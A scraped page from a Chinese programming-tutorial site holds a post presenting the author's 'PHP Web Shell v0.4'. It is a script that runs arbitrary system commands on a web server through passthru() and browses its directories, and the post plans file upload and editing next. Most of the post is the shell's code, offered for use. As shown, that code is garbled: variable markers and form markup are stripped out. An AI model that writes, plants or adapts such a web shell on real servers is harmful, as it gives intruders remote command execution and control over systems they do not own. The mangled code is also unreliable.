All articles| All Pictures| All Softwares| All Video| Go home page| Write articles| Upload pictures

Reading number is top 10 articles
SQL,Artisan数据库访问组件下一版本完善功能概述_[SQL,Server教程]
SQL循序渐进(20)Aliases,、In以及子查询_[SQL,Server教程]
SQL,Server,2008,R2十大新特性解析_mssql学习_编程技术
简洁实用的表单验证程序_JavaScript技术_编程技术
PHP技巧:分析利用PHP制作新闻系统的步骤_[PHP教程]
ASP.NET实现中文汉字验证码_[Asp.Net教程]
Visual Studio 2005中Crystal Reports数据源列举
关于webservice的异步调用实例_[Asp.Net教程]
HyperLink,控件控制图片宽度高度的几种方法_[Asp.Net教程]
Apache Web 服务器的完全安装指南_[PHP教程]
Reading number is top 10 pictures
Men don't mature ten sign
Beauty is thus produced
The real super beauty4
Take you to walk into the most true north Korea rural4
Female model behind the bitterness, often being overcharged2
关于海盗的研究
男人巳快沦落成动物了
More attractive than sora aoi4
The money of more than 100 countries and regions15
为什么别人说你是疯子
Download software ranking
Boxer's Top ten classic battle10
Unix video tutorial2
Boxer vs Yellow5
天龙八部十二宫服务端
圣殿祭司的ASP.NET.2.0.开发详解-使用C#
尖东毒玫瑰A
The Bermuda triangle1
The king of fighters 97(Mobile phone games-apk)
Tram sex maniac 2 (H) rar bag5
Boxer Classic video1
归海一刀 published in(发表于) 2014/2/10 6:45:32 Edit(编辑)
PHP Shell的编写(改进版)_[PHP教程]

PHP Shell的编写(改进版)_[PHP教程]

PHP Shell的编写(改进版)_[PHP教程]

以前写过一个没有任何技术含量的PHP CMD Shell,总是觉得功能很弱,并且对一些问题没有处理好,比如浏览目录等,后来深入学习PHP 后,发现了很多有趣的函数个,于是重新简单的编写了一个新的PHP Shell,希望大家喜欢!

程序介绍:


程序:PHP Web Shell
版本:v0.4
功能:
1.可以支持目前主流的操作系统: Win32/*nix/*BSD
2.执行系统命令/程序
3.浏览目录



未来功能:
1.支持在线 上传/下载 文件功能
2.支持在线 新建/删除/添加/修改 文件功能


程序代码:




PHP Web Shell v0.4





PHP Web Shell v0.4
适用系统:Win32/Linux/Unix/BSD



//获取脚本本身
输入命令
value="执行" class=input>


输入目录
value="浏览" class=input>




echo "服务器地址: _SERVER[SERVER_NAME]
"; //显示服务器域名或IP地址
echo "本文件路径: _SERVER[PATH_TRANSLATED]"; //显示文件所在路径
?>



if(!empty(cmd)) {
echo "执行 cmd 命令后的结果:
"; //执行命令后的提示
}
if(!empty(dir)) {
echo "浏览目录 dir 的结果:
"; //查看目录后的提示
}
?>



if(empty(cmd) && empty(dir)) { //判断有没有输入命令,如果没有则出现错误提示
echo " 请输入你要执行的命令或要浏览的目录!
(请确定系统有相应的命令或目录及相应操作的权限)
";
}
@passthru(cmd); //利用passthru()函数来执行获取的命令(变量),PHP中相似的函数还有system(), popen(),Exec()等
f = @opendir(dir); //利用opendir()函数来获取目录信息赋值给变量
while(file = @readdir(f)) { //使用readdir()函数循环读取目录信息
echo "file\n"; //分行显示获取的目录信息
}
?>




作者: 来源:csdn





添加到del.icio.us 添加到新浪ViVi 添加到百度搜藏 添加到POCO网摘 添加到天天网摘365Key 添加到和讯网摘 添加到天极网摘 添加到黑米书签 添加到QQ书签 添加到雅虎收藏 添加到奇客发现 diigo it 添加到饭否 添加到飞豆订阅 添加到抓虾收藏 添加到鲜果订阅 digg it 貼到funP 添加到有道阅读 Live Favorites 添加到Newsvine 打印本页 用Email发送本页 在Facebook上分享


Disclaimer Privacy Policy About us Site Map

If you have any requirements, please contact webmaster。(如果有什么要求,请联系站长)
Copyright ©2011-
uuhomepage.com, Inc. All rights reserved.